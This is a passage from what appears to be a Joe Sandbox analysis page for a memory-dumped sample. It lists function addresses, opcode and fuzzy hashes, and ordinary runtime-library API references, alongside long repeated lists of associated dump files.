Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf9414014863c0d10a3646dabbfdec2df6b89c0e47b163211590c014638cb35b
Instruction ID: 64c495207a784c82b923e0a902588f606bd94674802a1d398c8efc127fabe038
Opcode Fuzzy Hash: bf9414014863c0d10a3646dabbfdec2df6b89c0e47b163211590c014638cb35b
Instruction Fuzzy Hash: D2117323F30C256A675C816D8C172BAA5D2EBD825471F533BD826E7384E9A4DE23D290

Function 004D8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction ID: ccb4f5b30a32e1773cb4522391d0868d41cfcdaa8844c3f13cea4425b3da1565
Opcode Fuzzy Hash: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction Fuzzy Hash: C4112BB760018243E604A72DC8B45B7E795EFC53217AD437FF0824B758DA2AE945B60C

Function 004CA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: 1ef91bcb264713a87bb3459c226fa407c2bb8d13c41e1bb7d7b4da8002537770
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: 83E04636921268EBCB15DB998905E9AB2ACEB49B08B65019AB901D3261C274DE00C7D4

Function 00492EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00492F5F
GetCurrentThreadId.KERNEL32 ref: 00492F7E
__Mtx_unlock.LIBCPMT ref: 00492FCC
__Cnd_broadcast.LIBCPMT ref: 00492FE3
__Mtx_unlock.LIBCPMT ref: 004930F5
GetCurrentThreadId.KERNEL32 ref: 00493132
__Mtx_unlock.LIBCPMT ref: 0049319B

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: af71c57f624a7ac74c27960fcafe1bc4abd73d371845adc87d87cc30da51d88f
Instruction ID: dc53816def0140e44b51e635582f41c5cc09f4ec3cc19f5f02fb0fdbcb13d38e
Opcode Fuzzy Hash: af71c57f624a7ac74c27960fcafe1bc4abd73d371845adc87d87cc30da51d88f
Instruction Fuzzy Hash: 08A1FF71A00205AFDF20DF65C94576BBBA8FF26315F00817AE815D7351EB39EA04CB99

Function 004CCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004CCC66

Strings

vL, xrefs: 004CCBE1

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vL
API String ID: 3213747228-3795732311
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 0c6004d1cc7043698fd9565fc5c5e7bb96cc14ded5f667656ae16fa100f65eea
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: F3B1043A9042459FDB11CF68C8D1BAEBBA5EF46340F1441AFE859DB341D6388D42CB68

Function 004ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 004ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 004ABBE4
_xtime_get.LIBCPMT ref: 004ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 004ABC13

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: dd0f39ccd7b6624bd848005e2ec42c66086dcc741876b75caaac0e71ecdcc661
Instruction ID: 4ccfa79796973260811645a5ee21b6d51e9469621d621e68816f9042bc8363e1
Opcode Fuzzy Hash: dd0f39ccd7b6624bd848005e2ec42c66086dcc741876b75caaac0e71ecdcc661
Instruction Fuzzy Hash: 64214F75A00109AFDF00EFA5CC819BEB7B9EF19714F10006AF601BB291DB789D019BA4

Function 004CF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004CF3A3

Strings

`'O, xrefs: 004CF375
8"O, xrefs: 004CF44B

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

